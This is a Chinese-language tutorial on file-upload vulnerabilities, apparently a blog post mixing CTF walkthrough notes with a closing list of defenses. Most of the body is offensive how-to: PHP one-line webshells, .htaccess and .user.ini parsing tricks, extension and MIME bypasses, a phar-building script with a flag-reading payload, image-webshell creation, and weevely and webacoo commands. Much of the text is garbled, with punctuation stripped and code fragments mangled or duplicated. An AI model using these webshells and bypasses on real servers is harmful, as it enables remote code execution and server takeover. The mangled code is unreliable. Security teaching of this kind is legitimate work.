OWASP 2021 A03-3 文件上传漏洞
发布时间:2026/8/28 6:46:09 作者:尧图编辑部 阅读量:1,286

一、漏洞总述文件上传漏洞属于OWASP 2021 A03 注入漏洞延伸高危漏洞是Web渗透中利用率最高、拿权限最直接的漏洞。不同于SQL、XSS这类参数注入文件上传属于文件层级的代码注入攻击者上传恶意脚本文件被服务器解析器当作可执行代码运行直接实现远程代码执行、Getshell、服务器接管。核心本质用户可控恶意文件被服务器解析执行数据与代码未隔离。1.1 漏洞成立三大核心前提缺一不可1.文件完全可控用户可自定义文件内容、文件名、文件后缀自主上传文件2.校验机制可被绕过站点仅使用前端JS校验、后缀黑名单、简单文件头检测无后端白名单、无二次渲染、无重命名3.上传目录可解析执行文件上传目录拥有脚本执行权限服务器可解析 php、jsp、asp 等脚本后缀。1.2 底层原理网站业务通常支持头像、附件、图片、素材上传正常逻辑仅允许静态无害文件jpg、png、gif、pdf。开发者为防止恶意脚本上传大多采用简易黑名单防护拦截常见脚本后缀但防护逻辑存在缺陷仅拦截明文后缀、仅前端校验、仅检测文件头未做深层校验。攻击者通过后缀变形、文件伪装、解析漏洞利用、截断绕过等方式让服务器将恶意脚本判定为合法文件上传最终被服务器解析执行实现任意代码执行.二、漏洞详情寻找测试网站的文件上传的模块常见 头像上传修改上传文件编辑器中文件上传图片上传、媒体上传等通过抓包上传恶意的文件进行测试上传后缀名 asp php aspx 等的动态语言脚本查看上传时的返回信息判断是否能直接上传如果不能直接上传再进行测试上传突破例如上传文件的时候只允许图片格式的后缀但是修改文件时却没有限制后缀名图片文件可以修改成动态语言格式如 php则可能访问这个文件的 URL 直接 getshell可以控制网站。思路1.先上传图片马shell.jpg之后改后缀尝试绕过。2.尝试特殊解析漏洞php,php3,php4,php5,phtml.phtaspasacdxceraspxashxjspphp.ashtml大小写绕过PHP,pHP 点绕过php. 空格绕过php空格::$$DATA绕过shell.php::$$DATA双后缀shell.phphpp单循环绕过shell.php. .假文件名绕过shell.php/.3.发现不行之后进行.htaccess绕过和.user.ini绕过.htaccess绕过GIF89aFilesMatch “shell.jpg”SetHandler application/x-httpd-php/FilesMatch.user.ini绕过GIF89aauto_prepend_fileshell.jpg注用蚁剑或菜刀链接实路径的shell.jpg改为index.php记得将MIME的值改为image/jpeg4.这里我只尝试了.htaccess发现可以然后再次上传shell.jpg发现文件内容有?检测php绕过(短标签绕过)?eval(POST[′cmd′]);??绕过scriptlanguage′php′eval(POST[′cmd′]);??绕过scriptlanguage′php′eval(_POST[“cmd”]);/script 文件头绕过在文件最前面写入GIF89a这里使用?绕过script language‘php’eval($_POST[“cmd”]);/script 进行绕过5.用蚁剑链接发现里面的flag文件为空flag在phpinfo里面js验证代码分析绕过方式1.去掉js对应代码或修改2.bp剔除响应js勾选上传webshell菜刀连接一句话木马php?php eval($_POST[cmd]);?MIME-Type绕过多用途互联网邮件拓展类型获取上传文件的type类型绕过方式利用bp修改MIME_type类型绕过image/jpeg。因为Content-Type值是通过客户端传递的可以任意修改的所以上传一个.php文件时在Burpsuite上将Content-Type的值修改为可以通过的就绕过了。.user.ini绕过知识点 : 文件上传 | .user.ini文件 | auto_prepend_file参数.user.ini文件是php.ini的补充文件当网页访问的时候就会自动查看当前目录下是否有.user.ini然后将其补充进php.ini并作为cgi的启动项。其中很多功能设置了只能php.ini配置但是还是有一些危险的功能可以被我们控制比如auto_prepend_file。auto_prepend_file 是 PHP 配置选项之一用于指定一个在每个 PHP 脚本执行前自动包含的文件。当 auto_prepend_file 配置启用后PHP 在执行每个脚本之前会自动将指定的文件包含进来作为脚本的一部分。这个文件可以包含一些通用的代码、函数、类或初始化操作以便在每个脚本中都能自动执行。区别只是在于auto_prepend_file是在文件前插入auto_append_file在文件最后插入。因此我们可以传入.user.ini文件通过auto_prepend_file将含有一句话木马的文件名称包含到每个文件中。然后再上传该文件根据题目名称提示怎么多了个没用的php文件同时根据题目描述notion.php 是一个没啥用的php文件不知道被设计出来是干什么的出题人傻啦可以利用.user.ini文件.user.ini 是⼀个⽤户⾃定义的php.ini ⽂件会在其所在的当前⽬录⽣效优先级⾼于php.ini 在user.ini中写⼊以下内容 auto_prepend_file filename auto_append_file filename 写⼊其中⼀个即可 //包含在⽂件头 //包含在⽂件尾 filename就写成需要包含的⽂件名后缀任意 上传后该⽬录下的php⽂件就会⾃动包含filename题解创建一个.user.ini文件写入如下内容auto_prepend_file 1.png上传一句话木马1.png?php eval($_POST[x]); phpinfo(); ?访问notion.php本题不适用其他题目htaccess文件绕过htaccess文件是apache服务器中的一个配置文件负责相关目录下的网页配置在apache中要启动htaccess需要在http.conf设置AllowOverride All若黑名单中没有过滤htaccess则使用其上传将SetHandler application/x-httpd-php写入.htaccess.htaccess的利用将下面的内容写入.htaccess方法一这里时是要包含所有文件带有1.png的文件只要文件名里面有1.png都会被当成php代码执行FilesMatch 1.png SetHandler application/x-httpd-php /FilesMatch作用范围只影响特定匹配的文件这样配置后只有文件名为 1.png 的文件会被当作PHP文件解析其他文件不受影响。.htaccess文件中的内容为SetHandler application/x-httpd-php作用范围影响所在目录及其子目录下的所有文件这样配置后/uploads 目录下的所有文件包括 .jpg、.png、.txt 等都会被当作PHP文件解析。方法二这种方法时后面的.png或者.jpg文件能被当成php代码执行如果想换成别的改扩展名就可以AddType application/x-httpd-php .pngAddType application/x-httpd-php .jpg制作图片phpinfo探针并上传?php phpinfo(); ?写入并保存为1.jpg上传复制文件地址打开phar协议和zip协议绕过第一步构造phar包生成phar文件脚本php.ini中需要设置phar.readonlyOff才能生成phar又作THIetadata以序列化形式存储,解析phar文件时会进行反序列化操作?php $phar new Phar(exp.phar); $phar-startBuffering(); $phar-setMetaData(new flag);//触发反序列化以序列化的形式存储 $phar-setStub(?php __HALT_COMPILER(); ?); $phar-addFromString(test.php, ?php eval($_REQUEST[8]);?); $phar-stopBuffering(); ?创建shell.php 一句话木马第二步把压缩成的shell.phar改成shell.zip然后通过文件上传功能点上传上传文件第三步访问网站可以看到连接成功接下来就是连接菜刀或者蚁剑。也可以直接输命令了。payload:?bingdundunphar://273df00f6d13b569a218fa09629ec81f.zip/shell.php8system(cat%20/fla*);解析漏洞apache解析漏洞.apache文件解析规则文件从右向左判断后缀名不认识则继续识别直到寻找到可以识别的文件名如果都不能识别则暴露源码。则可以这样定义1.php.qwe.asd绕过文件识别IIS解析漏洞原理 IIS中建立.asa,.asp文件时其目录下的所有文件都会被当成asp文件解析方法在1.asp文件夹中放个1.txt文件内容为%now()%则1.txt文件就会被当成脚本解析Nginx解析漏洞方法在下面这个链接中此时1.jpg会被当成1.php解析但是3.php不存在则可以在1.jpg中放php木马获得webshellhttp://....../1.jpg/3.php图片上传webshell不同文件二进制格式的前几个字节是不同的而且是固定的制作新建一个1.jpgGIF98A//表示图片文件 ?php phpinfo(); ?上传将制作好的图片webshell上传到服务器可能会有MIME验证。修改image/gif会image/jpg符合当前类型蚁剑连接不上原因只有在网站有文件包含漏洞的情况下才能使用图片马去搞webshell不然就算图片上传成功了也不会被服务器执行是没有用滴文件包含漏洞代码分析?php if($_GET){ include($_GET[file]) }else{ echonot get args file; } ?结合文件包含输出phpinfofile.phpfile一准备图片马需要用到DOS指令Bashcopy 001.jpeg/b test.php/a 2.jpgAI写代码这个指令的意思是把001.jpeg和test.php合并到一起。很明显test.php就是webshell了那么test.php里面的代码?php eval($_POST[yuer]); ?很明显那个yuer就是我们的webshell密码。你可以改成你自己需要的。。。然后打开CMD切换到指定目录合成之前是没有2.jpg的好的就会多出一个2.jpg...这就是图片马。二准备好我们的文件包含漏洞文件有包含漏洞的php文件include.php代码如下?php $file $_GET[file]; include $file; ?这便是最简单的文件包含漏洞代码那么这个漏洞是必须服务器端自带的也就是说如果你要攻击的网站没有文件包含漏洞图片马就是用不了的。文件包含漏洞简单说就是在这个include.php中需要引用其他应用程序php中应用程序文件是.php也就是说他本来想引用一个php文件但是漏洞就是他不会识别什么是php文件只要是他引用的他都当php来解析所以如果他引用的是jpg但是jpg中有图片马那么他就相当于引用了图片马同样的道理还会有zip马等等这个具有文件包含漏洞的文件在这里。三上传图片马成功上传图片马然后我们先正常访问一下这个图片吧因为我是本地搭建的服务器所以我知道路径在哪里可以看到图片是非常正常的完全看不出有木马。好我们再用文件包含去访问一次这个图片文件包含include.php在根目录里然后呢.四菜刀链接使用蚁剑连接注意路径/upload/2d6c206b2ff5fbca96e57e03b62fcd5e/1.jpg这一步就比较经典了你必须把图片用包含漏洞的链接去连接黑名单绕过后缀名绕过利用bpintruder模块进行枚举后缀名寻找黑名单没有过滤的后缀名菜刀连接时修改回来大小写绕过wins系统下对文件名中大小写不敏感。Linux敏感。直接修改后缀名PhPwebacoo上传webshell生成webacoo -g -o a.php上传webshell连接webshellwebacoo -t -u webshell地址空格绕过wins下对于文件名中的空格作为空处理程序中的检测代码不能自动删除空格使用bp截断请求修改文件名结尾添加空格trim函数去空格.号绕过wins下文件后缀名最后一个点会被自动去除使用weevely生成webshell生成weevely generate 密码 路径 文件名上传连接weevely shell文件地址 密码特殊符号wins下若上传的文件名中test.php::$DATA会在服务器上生成一个test.php文件上传内容相同路径拼接上传1.php.空格.去除点和空格后还剩下一个点wins系统下自动去除最后一个点上传成功1.php双写绕过str_ireplace()函数替换字符串中的一些字符不区分大小写写成phphpp?绕过script languagephpeval($_POST[cmd]);/script启用 asp_tags若asp_tagsOn可以使用%和%作为PHP标签但该选项在PHP7中已移除现代环境几乎不存在。script languagephp标签需要php.ini中启用且通常也被限制。利用文件包含或伪协议若$code能控制其他函数如include但这里没有其他函数调用只能依靠eval自身。使用反引号或特殊字符例如如果服务器存在短标签?且short_open_tagOn但?被删同样无法构成。00截断0x00在有些函数处理时会把这个字符当作结束符系统在对文件读取时如果遇到0x00就会认为读取已结束在php5.3之后的版本完全修复了00截断。并且00截断受限与GPCaddslashes函数例如1.php.0x00.jpgget型00截断get型提交内容会被自动进行URL解码注一定要关闭GPC在bp路径下加上1.php%00post型00截断在post请求中%00不会被自动解码需要在16进制中进行修改00一句话代码执行webshell使用php中的函数system执行GET提交的参数?php if($_GET){//不为空 $cmd$_GET[cmd]; system($cmd);//执行 }else{ echono cmd; } ?任意文件下载漏洞形成原因一些网站的业务需求,提供的有文件下载的功能,这个时候考虑到代码的灵活性开发者会单独写一个实现文件下载功能的文件,只需要传入一个文件名如果服务器存在该文件就可以下载。但是如果没有对传入的这个文件名做限制,用户可以控制这个文件名,那么就有可能会下载站点上的源码文件,配置文件等等,这个时候就形成了任意文件下载漏洞。方法通过找到可控变量任意下载文件/flag危害可以下载服务器任意的文件,如脚本代码,服务以及系统配置文件等等。可以下载网站源代码进行白盒审计,发现其它web漏洞,如SQL注入,文件包含,XSS等等。三、标准化防御方案1. 强制后端白名单校验核心根治仅允许 jpg、png、gif、pdf 等业务需要的静态后缀拒绝所有未知后缀彻底杜绝黑名单绕过问题。2. 抛弃前端校验所有校验后端二次校验前端校验仅做用户体验优化不能作为安全防护所有文件检测必须在后端完成。3. 上传文件随机重命名上传后抛弃用户自定义文件名系统随机生成文件名固定合法后缀彻底杜绝后缀绕过、解析漏洞。4. 上传目录禁用脚本执行权限配置目录权限上传目录仅允许存放静态资源禁止解析php、jsp等脚本即使上传木马也无法执行。5. 图片文件二次渲染对上传图片进行压缩、重绘二次渲染破坏图片马中嵌入的恶意代码让图片马失效。6. 禁止用户控制文件路径与文件名文件存储路径、文件名全部由服务端生成杜绝路径拼接、后缀畸形绕过。